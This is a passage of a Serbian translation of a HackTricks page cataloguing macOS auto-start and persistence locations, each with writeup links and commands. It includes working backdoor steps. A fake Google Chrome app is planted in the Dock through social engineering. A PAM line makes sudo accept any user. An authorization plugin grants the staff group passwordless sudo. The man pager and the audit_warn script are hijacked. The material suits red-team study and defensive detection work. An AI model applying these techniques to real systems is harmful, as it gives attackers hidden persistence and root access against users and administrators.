app.doShellScript("cp -R ~/Desktop /tmp/asd123");
{% endcode %}
Kompajlirajte to sa: osacompile -l JavaScript -o folder.scpt source.js
Premestite to u:
mkdir -p "$HOME/Library/Scripts/Folder Action Scripts"
mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
Zatim otvorite aplikaciju Folder Actions Setup
, izaberite folder koji želite da pratite i izaberite u vašem slučaju folder.scpt
(u mom slučaju sam ga nazvao output2.scp):
Sada, ako otvorite taj folder sa Finder, vaš skript će biti izvršen.
Ova konfiguracija je sačuvana u plist datoteci koja se nalazi u ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist
u base64 formatu.
Sada, hajde da pokušamo da pripremimo ovu postavku bez GUI pristupa:
- Kopirajte
~/Library/Preferences/com.apple.FolderActionsDispatcher.plist
u/tmp
da biste je sačuvali:
cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp
- Uklonite Folder Actions koje ste upravo postavili:
Sada kada imamo prazan okruženje
- Kopirajte rezervnu datoteku:
cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/
- Otvorite Folder Actions Setup.app da biste iskoristili ovu konfiguraciju:
open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"
{% hint style="danger" %} I ovo nije radilo za mene, ali to su uputstva iz izveštaja:( {% endhint %}
Dock prečice
Izveštaj: https://theevilbit.github.io/beyond/beyond_0027/
- Korisno za zaobilaženje sandbox-a: ✅
- Ali morate imati instaliranu zlonamernu aplikaciju unutar sistema
- TCC zaobilaženje: 🔴
Lokacija
~/Library/Preferences/com.apple.dock.plist
- Okidač: Kada korisnik klikne na aplikaciju unutar dock-a
Opis i Eksploatacija
Sve aplikacije koje se pojavljuju u Dock-u su navedene unutar plist-a: ~/Library/Preferences/com.apple.dock.plist
Moguće je dodati aplikaciju samo sa:
{% code overflow="wrap" %}
# Add /System/Applications/Books.app
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/System/Applications/Books.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
# Restart Dock
killall Dock
{% endcode %}
Korišćenjem neke socijalne inženjering mogli biste imitirati na primer Google Chrome unutar dock-a i zapravo izvršiti svoj skript:
#!/bin/sh
# THIS REQUIRES GOOGLE CHROME TO BE INSTALLED (TO COPY THE ICON)
rm -rf /tmp/Google\ Chrome.app/ 2>/dev/null
# Create App structure
mkdir -p /tmp/Google\ Chrome.app/Contents/MacOS
mkdir -p /tmp/Google\ Chrome.app/Contents/Resources
# Payload to execute
echo '#!/bin/sh
open /Applications/Google\ Chrome.app/ &
touch /tmp/ImGoogleChrome' > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
chmod +x /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
# Info.plist
cat << EOF > /tmp/Google\ Chrome.app/Contents/Info.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>Google Chrome</string>
<key>CFBundleIdentifier</key>
<string>com.google.Chrome</string>
<key>CFBundleName</key>
<string>Google Chrome</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleIconFile</key>
<string>app</string>
</dict>
</plist>
EOF
# Copy icon from Google Chrome
cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chrome.app/Contents/Resources/app.icns
# Add to Dock
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/tmp/Google Chrome.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
killall Dock
Color Pickers
Writeup: https://theevilbit.github.io/beyond/beyond_0017
- Korisno za zaobilaženje sandboxes: 🟠
- Potrebna je vrlo specifična akcija
- Završićete u drugom sandboxu
- TCC zaobilaženje: 🔴
Location
/Library/ColorPickers
- Potrebna je root privilegija
- Okidač: Koristite selektor boja
~/Library/ColorPickers
- Okidač: Koristite selektor boja
Description & Exploit
Kompajlirajte paket selektora boja sa vašim kodom (možete koristiti ovaj na primer) i dodajte konstruktor (kao u odeljku za screensaver) i kopirajte paket u ~/Library/ColorPickers
.
Zatim, kada se selektor boja aktivira, vaš kod bi takođe trebao da se izvrši.
Napomena da binarni fajl koji učitava vašu biblioteku ima veoma restriktivan sandbox: /System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64
{% code overflow="wrap" %}
[Key] com.apple.security.temporary-exception.sbpl
[Value]
[Array]
[String] (deny file-write* (home-subpath "/Library/Colors"))
[String] (allow file-read* process-exec file-map-executable (home-subpath "/Library/ColorPickers"))
[String] (allow file-read* (extension "com.apple.app-sandbox.read"))
{% endcode %}
Finder Sync Plugins
Writeup: https://theevilbit.github.io/beyond/beyond_0026/
Writeup: https://objective-see.org/blog/blog_0x11.html
- Korisno za zaobilaženje sandboks-a: Ne, jer morate izvršiti svoju aplikaciju
- TCC zaobilaženje: ???
Lokacija
- Specifična aplikacija
Opis & Eksploatacija
Primer aplikacije sa Finder Sync ekstenzijom može se naći ovde.
Aplikacije mogu imati Finder Sync Extensions
. Ova ekstenzija će ući u aplikaciju koja će biti izvršena. Štaviše, da bi ekstenzija mogla da izvrši svoj kod, mora biti potpisana nekim važećim Apple razvojnim sertifikatom, mora biti sandboxed (iako bi mogle biti dodate opuštene izuzetke) i mora biti registrovana sa nečim poput:
pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex
pluginkit -e use -i com.example.InSync.InSync
Zaštitni ekran
Writeup: https://theevilbit.github.io/beyond/beyond_0016/
Writeup: https://posts.specterops.io/saving-your-access-d562bf5bf90b
- Korisno za zaobilaženje sandbox-a: 🟠
- Ali ćete završiti u zajedničkom aplikacionom sandbox-u
- TCC zaobilaženje: 🔴
Lokacija
/System/Library/Screen Savers
- Potreban root
- Okidač: Izaberite zaštitni ekran
/Library/Screen Savers
- Potreban root
- Okidač: Izaberite zaštitni ekran
~/Library/Screen Savers
- Okidač: Izaberite zaštitni ekran
Opis & Eksploatacija
Kreirajte novi projekat u Xcode-u i izaberite šablon za generisanje novog Zaštitnog ekrana. Zatim, dodajte svoj kod, na primer sledeći kod za generisanje logova.
Izgradite ga, i kopirajte .saver
paket u ~/Library/Screen Savers
. Zatim, otvorite GUI za zaštitni ekran i ako samo kliknete na njega, trebalo bi da generiše mnogo logova:
{% code overflow="wrap" %}
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "hello_screensaver"'
Timestamp (process)[PID]
2023-09-27 22:55:39.622369+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver void custom(int, const char **)
2023-09-27 22:55:39.622623+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView initWithFrame:isPreview:]
2023-09-27 22:55:39.622704+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView hasConfigureSheet]
{% endcode %}
{% hint style="danger" %}
Imajte na umu da se unutar prava binarnog koda koji učitava ovaj kod (/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver
) može naći com.apple.security.app-sandbox
, tako da ćete biti unutar zajedničkog aplikacionog sandboks-a.
{% endhint %}
Saver code:
//
// ScreenSaverExampleView.m
// ScreenSaverExample
//
// Created by Carlos Polop on 27/9/23.
//
#import "ScreenSaverExampleView.h"
@implementation ScreenSaverExampleView
- (instancetype)initWithFrame:(NSRect)frame isPreview:(BOOL)isPreview
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
self = [super initWithFrame:frame isPreview:isPreview];
if (self) {
[self setAnimationTimeInterval:1/30.0];
}
return self;
}
- (void)startAnimation
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super startAnimation];
}
- (void)stopAnimation
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super stopAnimation];
}
- (void)drawRect:(NSRect)rect
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super drawRect:rect];
}
- (void)animateOneFrame
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return;
}
- (BOOL)hasConfigureSheet
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return NO;
}
- (NSWindow*)configureSheet
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return nil;
}
__attribute__((constructor))
void custom(int argc, const char **argv) {
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
}
@end
Spotlight Plugins
writeup: https://theevilbit.github.io/beyond/beyond_0011/
- Korisno za zaobilaženje sandboxes: 🟠
- Ali ćete završiti u aplikacionom sandboxu
- TCC zaobilaženje: 🔴
- Sandbox izgleda veoma ograničeno
Location
~/Library/Spotlight/
- Okidač: Novi fajl sa ekstenzijom kojom upravlja spotlight plugin je kreiran.
/Library/Spotlight/
- Okidač: Novi fajl sa ekstenzijom kojom upravlja spotlight plugin je kreiran.
- Potreban root
/System/Library/Spotlight/
- Okidač: Novi fajl sa ekstenzijom kojom upravlja spotlight plugin je kreiran.
- Potreban root
Some.app/Contents/Library/Spotlight/
- Okidač: Novi fajl sa ekstenzijom kojom upravlja spotlight plugin je kreiran.
- Potrebna nova aplikacija
Description & Exploitation
Spotlight je ugrađena pretraga u macOS-u, dizajnirana da korisnicima omogući brz i sveobuhvatan pristup podacima na njihovim računarima.
Da bi olakšao ovu brzu pretragu, Spotlight održava proprietarnu bazu podataka i kreira indeks parsanjem većine fajlova, omogućavajući brze pretrage kroz imena fajlova i njihov sadržaj.
Osnovni mehanizam Spotlight-a uključuje centralni proces nazvan 'mds', što znači 'metadata server'. Ovaj proces orchestrira celu Spotlight uslugu. Pored toga, postoje višestruki 'mdworker' daemoni koji obavljaju razne zadatke održavanja, kao što je indeksiranje različitih tipova fajlova (ps -ef | grep mdworker
). Ovi zadaci su omogućeni kroz Spotlight importer plugine, ili ".mdimporter bundles", koji omogućavaju Spotlight-u da razume i indeksira sadržaj kroz raznovrsne formate fajlova.
Plugini ili .mdimporter
paketi se nalaze na mestima pomenutim ranije i ako se pojavi novi paket, on se učitava u trenutku (nema potrebe za ponovnim pokretanjem bilo koje usluge). Ovi paketi moraju da označe koji tip fajla i ekstenzije mogu da upravljaju, na ovaj način, Spotlight će ih koristiti kada se kreira novi fajl sa označenom ekstenzijom.
Moguće je pronaći sve mdimporters
učitane u radu:
mdimport -L
Paths: id(501) (
"/System/Library/Spotlight/iWork.mdimporter",
"/System/Library/Spotlight/iPhoto.mdimporter",
"/System/Library/Spotlight/PDF.mdimporter",
[...]
I na primer /Library/Spotlight/iBooksAuthor.mdimporter se koristi za parsiranje ovih tipova datoteka (ekstenzije .iba
i .book
među ostalima):
plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
[...]
"CFBundleDocumentTypes" => [
0 => {
"CFBundleTypeName" => "iBooks Author Book"
"CFBundleTypeRole" => "MDImporter"
"LSItemContentTypes" => [
0 => "com.apple.ibooksauthor.book"
1 => "com.apple.ibooksauthor.pkgbook"
2 => "com.apple.ibooksauthor.template"
3 => "com.apple.ibooksauthor.pkgtemplate"
]
"LSTypeIsPackage" => 0
}
]
[...]
=> {
"UTTypeConformsTo" => [
0 => "public.data"
1 => "public.composite-content"
]
"UTTypeDescription" => "iBooks Author Book"
"UTTypeIdentifier" => "com.apple.ibooksauthor.book"
"UTTypeReferenceURL" => "http://www.apple.com/ibooksauthor"
"UTTypeTagSpecification" => {
"public.filename-extension" => [
0 => "iba"
1 => "book"
]
}
}
[...]
{% hint style="danger" %}
Ako proverite Plist drugih mdimporter
, možda nećete pronaći unos UTTypeConformsTo
. To je zato što je to ugrađeni Uniform Type Identifiers (UTI) i ne mora da specificira ekstenzije.
Pored toga, sistemski podrazumevani dodaci uvek imaju prioritet, tako da napadač može pristupiti samo datotekama koje nisu inače indeksirane od strane Apple-ovih mdimporters
.
{% endhint %}
Da biste kreirali svoj vlastiti uvoznik, možete početi sa ovim projektom: https://github.com/megrimm/pd-spotlight-importer i zatim promeniti ime, CFBundleDocumentTypes
i dodati UTImportedTypeDeclarations
kako bi podržao ekstenziju koju želite da podržite i reflektujte ih u schema.xml
.
Zatim promenite kod funkcije GetMetadataForFile
da izvršite svoj payload kada se kreira datoteka sa obrađenom ekstenzijom.
Na kraju izgradite i kopirajte svoj novi .mdimporter
na jednu od prethodnih lokacija i možete proveriti da li je učitan prateći logove ili proveravajući mdimport -L.
Preference Pane
{% hint style="danger" %} Ne izgleda da ovo više radi. {% endhint %}
Writeup: https://theevilbit.github.io/beyond/beyond_0009/
Lokacija
/System/Library/PreferencePanes
/Library/PreferencePanes
~/Library/PreferencePanes
Opis
Ne izgleda da ovo više radi.
Root Sandbox Bypass
{% hint style="success" %} Ovde možete pronaći startne lokacije korisne za zaobilaženje sandboks-a koje vam omogućavaju da jednostavno izvršite nešto upisivanjem u datoteku kao root i/ili zahtevajući druge čudne uslove. {% endhint %}
Periodični
Writeup: https://theevilbit.github.io/beyond/beyond_0019/
Lokacija
/etc/periodic/daily
,/etc/periodic/weekly
,/etc/periodic/monthly
,/usr/local/etc/periodic
- Potreban root
- Okidač: Kada dođe vreme
/etc/daily.local
,/etc/weekly.local
ili/etc/monthly.local
- Potreban root
- Okidač: Kada dođe vreme
Opis i Eksploatacija
Periodični skripti (/etc/periodic
) se izvršavaju zbog launch daemona konfigurisanih u /System/Library/LaunchDaemons/com.apple.periodic*
. Imajte na umu da se skripte smeštene u /etc/periodic/
izvršavaju kao vlasnik datoteke, tako da ovo neće raditi za potencijalno eskaliranje privilegija.
{% code overflow="wrap" %}
# Launch daemons that will execute the periodic scripts
ls -l /System/Library/LaunchDaemons/com.apple.periodic*
-rw-r--r-- 1 root wheel 887 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-daily.plist
-rw-r--r-- 1 root wheel 895 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-monthly.plist
-rw-r--r-- 1 root wheel 891 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-weekly.plist
# The scripts located in their locations
ls -lR /etc/periodic
total 0
drwxr-xr-x 11 root wheel 352 May 13 00:29 daily
drwxr-xr-x 5 root wheel 160 May 13 00:29 monthly
drwxr-xr-x 3 root wheel 96 May 13 00:29 weekly
/etc/periodic/daily:
total 72
-rwxr-xr-x 1 root wheel 1642 May 13 00:29 110.clean-tmps
-rwxr-xr-x 1 root wheel 695 May 13 00:29 130.clean-msgs
[...]
/etc/periodic/monthly:
total 24
-rwxr-xr-x 1 root wheel 888 May 13 00:29 199.rotate-fax
-rwxr-xr-x 1 root wheel 1010 May 13 00:29 200.accounting
-rwxr-xr-x 1 root wheel 606 May 13 00:29 999.local
/etc/periodic/weekly:
total 8
-rwxr-xr-x 1 root wheel 620 May 13 00:29 999.local
{% endcode %}
Postoje drugi periodični skripti koji će biti izvršeni, a koji su navedeni u /etc/defaults/periodic.conf
:
grep "Local scripts" /etc/defaults/periodic.conf
daily_local="/etc/daily.local" # Local scripts
weekly_local="/etc/weekly.local" # Local scripts
monthly_local="/etc/monthly.local" # Local scripts
Ako uspete da napišete bilo koji od fajlova /etc/daily.local
, /etc/weekly.local
ili /etc/monthly.local
, biće izvršen pre ili kasnije.
{% hint style="warning" %} Napomena: periodični skript će biti izvršen kao vlasnik skripta. Dakle, ako običan korisnik poseduje skript, biće izvršen kao taj korisnik (to može sprečiti napade na eskalaciju privilegija). {% endhint %}
PAM
Writeup: Linux Hacktricks PAM
Writeup: https://theevilbit.github.io/beyond/beyond_0005/
Lokacija
- Root uvek potreban
Opis i Eksploatacija
Kako je PAM više fokusiran na perzistenciju i malver nego na lako izvršavanje unutar macOS-a, ovaj blog neće dati detaljno objašnjenje, pročitajte writeup-ove da biste bolje razumeli ovu tehniku.
Proverite PAM module sa:
ls -l /etc/pam.d
Tehnika postojanosti/povećanja privilegija koja zloupotrebljava PAM je jednostavna kao modifikacija modula /etc/pam.d/sudo dodavanjem linije na početak:
auth sufficient pam_permit.so
Tako će izgledati nešto poput ovoga:
# sudo: auth account password session
auth sufficient pam_permit.so
auth include sudo_local
auth sufficient pam_smartcard.so
auth required pam_opendirectory.so
account required pam_permit.so
password required pam_deny.so
session required pam_permit.so
I stoga će svaki pokušaj korišćenja sudo
raditi.
{% hint style="danger" %} Napomena da je ovaj direktorijum zaštićen TCC-om, tako da je veoma verovatno da će korisnik dobiti obaveštenje koje traži pristup. {% endhint %}
Još jedan lep primer je su, gde možete videti da je takođe moguće dati parametre PAM modulima (i takođe možete dodati backdoor u ovu datoteku):
cat /etc/pam.d/su
# su: auth account session
auth sufficient pam_rootok.so
auth required pam_opendirectory.so
account required pam_group.so no_warn group=admin,wheel ruser root_only fail_safe
account required pam_opendirectory.so no_check_shell
password required pam_opendirectory.so
session required pam_launchd.so
Authorization Plugins
Writeup: https://theevilbit.github.io/beyond/beyond_0028/
Writeup: https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65
- Korisno za zaobilaženje sandbox-a: 🟠
- Ali morate biti root i napraviti dodatne konfiguracije
- TCC zaobilaženje: ???
Location
/Library/Security/SecurityAgentPlugins/
- Potreban root
- Takođe je potrebno konfigurisati bazu podataka autorizacije da koristi plugin
Description & Exploitation
Možete kreirati autorizacioni plugin koji će se izvršiti kada se korisnik prijavi kako bi održao postojanost. Za više informacija o tome kako da kreirate jedan od ovih pluginova, pogledajte prethodne izveštaje (i budite oprezni, loše napisan može vas zaključati i biće potrebno da očistite vaš mac iz režima oporavka).
// Compile the code and create a real bundle
// gcc -bundle -framework Foundation main.m -o CustomAuth
// mkdir -p CustomAuth.bundle/Contents/MacOS
// mv CustomAuth CustomAuth.bundle/Contents/MacOS/
#import <Foundation/Foundation.h>
__attribute__((constructor)) static void run()
{
NSLog(@"%@", @"[+] Custom Authorization Plugin was loaded");
system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers");
}
Premestite paket na lokaciju koja treba da se učita:
cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/
Konačno dodajte pravilo za učitavanje ovog dodatka:
cat > /tmp/rule.plist <<EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>class</key>
<string>evaluate-mechanisms</string>
<key>mechanisms</key>
<array>
<string>CustomAuth:login,privileged</string>
</array>
</dict>
</plist>
EOF
security authorizationdb write com.asdf.asdf < /tmp/rule.plist
evaluate-mechanisms
će reći okviru za autorizaciju da će morati da pozove spoljašnji mehanizam za autorizaciju. Štaviše, privileged
će omogućiti da se izvrši kao root.
Pokrenite ga sa:
security authorize com.asdf.asdf
I onda grupa staff treba da ima sudo pristup (proverite /etc/sudoers
da potvrdite).
Man.conf
Writeup: https://theevilbit.github.io/beyond/beyond_0030/
- Korisno za zaobilaženje sandbox-a: 🟠
- Ali morate biti root i korisnik mora koristiti man
- TCC zaobilaženje: 🔴
Lokacija
/private/etc/man.conf
- Potreban root
/private/etc/man.conf
: Kada god se koristi man
Opis & Eksploatacija
Konfiguracioni fajl /private/etc/man.conf
označava binarni/skript koji se koristi prilikom otvaranja man dokumentacionih fajlova. Tako da putanja do izvršnog fajla može biti izmenjena tako da svaki put kada korisnik koristi man za čitanje nekih dokumenata, backdoor se izvršava.
Na primer, postavite u /private/etc/man.conf
:
MANPAGER /tmp/view
А затим креирајте /tmp/view
као:
#!/bin/zsh
touch /tmp/manconf
/usr/bin/less -s
Apache2
Writeup: https://theevilbit.github.io/beyond/beyond_0023/
- Korisno za zaobilaženje sandboxes: 🟠
- Ali morate biti root i apache mora biti pokrenut
- TCC zaobilaženje: 🔴
- Httpd nema ovlašćenja
Lokacija
/etc/apache2/httpd.conf
- Potreban root
- Okidač: Kada se Apache2 pokrene
Opis & Eksploatacija
Možete naznačiti u /etc/apache2/httpd.conf
da učitate modul dodajući liniju kao što je:
{% code overflow="wrap" %}
LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority"
{% endcode %}
Na ovaj način će vaš kompajlirani modul biti učitan od strane Apache-a. Jedina stvar je da ili treba da potpišete sa važećim Apple sertifikatom, ili treba da dodate novi poverljivi sertifikat u sistem i potpišete ga sa njim.
Zatim, ako je potrebno, da biste bili sigurni da će server biti pokrenut, možete izvršiti:
sudo launchctl load -w /System/Library/LaunchDaemons/org.apache.httpd.plist
Primer koda za Dylb:
#include <stdio.h>
#include <syslog.h>
__attribute__((constructor))
static void myconstructor(int argc, const char **argv)
{
printf("[+] dylib constructor called from %s\n", argv[0]);
syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]);
}
BSM audit framework
Writeup: https://theevilbit.github.io/beyond/beyond_0031/
- Korisno za zaobilaženje sandbox-a: 🟠
- Ali morate biti root, auditd mora biti pokrenut i izazvati upozorenje
- TCC zaobilaženje: 🔴
Lokacija
/etc/security/audit_warn
- Potreban root
- Okidač: Kada auditd detektuje upozorenje
Opis & Eksploatacija
Kada god auditd detektuje upozorenje, skripta /etc/security/audit_warn
se izvršava. Tako možete dodati svoj payload u nju.
echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
Možete naterati upozorenje sa sudo audit -n
.
Stavke pri pokretanju
{% hint style="danger" %} Ovo je zastarelo, tako da ne bi trebalo da se nađe ništa u tim direktorijumima. {% endhint %}
StartupItem je direktorijum koji treba da bude smešten u /Library/StartupItems/
ili /System/Library/StartupItems/
. Kada je ovaj direktorijum uspostavljen, mora sadržati dva specifična fajla:
- rc skripta: Shell skripta koja se izvršava pri pokretanju.
- plist fajl, specifično nazvan
StartupParameters.plist
, koji sadrži razne konfiguracione postavke.
Osigurajte da su i rc skripta i StartupParameters.plist
fajl ispravno smešteni unutar StartupItem direktorijuma kako bi proces pokretanja mogao da ih prepozna i koristi.
{% tabs %} {% tab title="StartupParameters.plist" %}
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Description</key>
<string>This is a description of this service</string>
<key>OrderPreference</key>
<string>None</string> <!--Other req services to execute before this -->
<key>Provides</key>
<array>
<string>superservicename</string> <!--Name of the services provided by this file -->
</array>
</dict>
</plist>
{% endtab %}
{% tab title="superservicename" %}
#!/bin/sh
. /etc/rc.common
StartService(){
touch /tmp/superservicestarted
}
StopService(){
rm /tmp/superservicestarted
}
RestartService(){
echo "Restarting"
}
RunService "$1"
{% endtab %} {% endtabs %}
emond
{% hint style="danger" %} Ne mogu pronaći ovu komponentu na svom macOS-u, pa za više informacija proverite izveštaj {% endhint %}
Izveštaj: https://theevilbit.github.io/beyond/beyond_0023/
Uveden od strane Apple-a, emond je mehanizam za logovanje koji deluje nedovoljno razvijen ili možda napušten, ali ostaje dostupan. Iako nije posebno koristan za Mac administratora, ova nejasna usluga može poslužiti kao suptilan metod postojanosti za pretnje, verovatno neprimećen od strane većine macOS administratora.
Za one koji su svesni njenog postojanja, identifikacija bilo kakve zlonamerne upotrebe emond-a je jednostavna. LaunchDaemon sistema za ovu uslugu traži skripte za izvršavanje u jednoj direktorijumu. Da biste to proverili, može se koristiti sledeća komanda:
ls -l /private/var/db/emondClients
XQuartz
Writeup: https://theevilbit.github.io/beyond/beyond_0018/
Lokacija
/opt/X11/etc/X11/xinit/privileged_startx.d
- Potrebne su administratorske privilegije
- Okidač: Sa XQuartz
Opis i Eksploatacija
XQuartz više nije instaliran u macOS, pa ako želite više informacija, proverite izveštaj.
kext
{% hint style="danger" %} Veoma je komplikovano instalirati kext čak i kao root, tako da ovo neću smatrati za izlazak iz sandboxes ili čak za postojanost (osim ako nemate eksploataciju) {% endhint %}
Lokacija
Da bi se KEXT instalirao kao stavka pri pokretanju, mora biti instaliran na jednoj od sledećih lokacija:
/System/Library/Extensions
- KEXT datoteke ugrađene u OS X operativni sistem.
/Library/Extensions
- KEXT datoteke instalirane od strane softvera trećih strana
Možete nabrojati trenutno učitane kext datoteke sa:
kextstat #List loaded kext
kextload /path/to/kext.kext #Load a new one based on path
kextload -b com.apple.driver.ExampleBundle #Load a new one based on path
kextunload /path/to/kext.kext
kextunload -b com.apple.driver.ExampleBundle
Za više informacija o proveri kernel ekstenzija pogledajte ovu sekciju.
amstoold
Pisanje: https://theevilbit.github.io/beyond/beyond_0029/
Lokacija
/usr/local/bin/amstoold
- Potrebne su administratorske privilegije
Opis i eksploatacija
Naizgled, plist
iz /System/Library/LaunchAgents/com.apple.amstoold.plist
je koristio ovu binarnu datoteku dok je izlagao XPC servis... stvar je u tome što binarna datoteka nije postojala, tako da ste mogli staviti nešto tamo i kada se XPC servis pozove, vaša binarna datoteka će biti pozvana.
Više ne mogu da pronađem ovo na svom macOS-u.
xsanctl
Pisanje: https://theevilbit.github.io/beyond/beyond_0015/
Lokacija
/Library/Preferences/Xsan/.xsanrc
- Potrebne su administratorske privilegije
- Okidač: Kada se servis pokrene (retko)
Opis i eksploatacija
Naizgled, nije baš uobičajeno pokretati ovaj skript i nisam mogao ni da ga pronađem na svom macOS-u, tako da ako želite više informacija, pogledajte pisanje.
/etc/rc.common
{% hint style="danger" %} Ovo ne funkcioniše u modernim verzijama MacOS-a {% endhint %}
Takođe je moguće ovde postaviti komande koje će se izvršavati prilikom pokretanja. Primer regularnog rc.common skripta:
#
# Common setup for startup scripts.
#
# Copyright 1998-2002 Apple Computer, Inc.
#
######################
# Configure the shell #
######################
#
# Be strict
#
#set -e
set -u
#
# Set command search path
#
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/libexec:/System/Library/CoreServices; export PATH
#
# Set the terminal mode
#
#if [ -x /usr/bin/tset ] && [ -f /usr/share/misc/termcap ]; then
# TERM=$(tset - -Q); export TERM
#fi
###################
# Useful functions #
###################
#
# Determine if the network is up by looking for any non-loopback
# internet network interfaces.
#
CheckForNetwork()
{
local test
if [ -z "${NETWORKUP:=}" ]; then
test=$(ifconfig -a inet 2>/dev/null | sed -n -e '/127.0.0.1/d' -e '/0.0.0.0/d' -e '/inet/p' | wc -l)
if [ "${test}" -gt 0 ]; then
NETWORKUP="-YES-"
else
NETWORKUP="-NO-"
fi
fi
}
alias ConsoleMessage=echo
#
# Process management
#
GetPID ()
{
local program="$1"
local pidfile="${PIDFILE:=/var/run/${program}.pid}"
local pid=""
if [ -f "${pidfile}" ]; then
pid=$(head -1 "${pidfile}")
if ! kill -0 "${pid}" 2> /dev/null; then
echo "Bad pid file $pidfile; deleting."
pid=""
rm -f "${pidfile}"
fi
fi
if [ -n "${pid}" ]; then
echo "${pid}"
return 0
else
return 1
fi
}
#
# Generic action handler
#
RunService ()
{
case $1 in
start ) StartService ;;
stop ) StopService ;;
restart) RestartService ;;
* ) echo "$0: unknown argument: $1";;
esac
}
Tehnike i alati za postojanost
{% hint style="success" %}
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.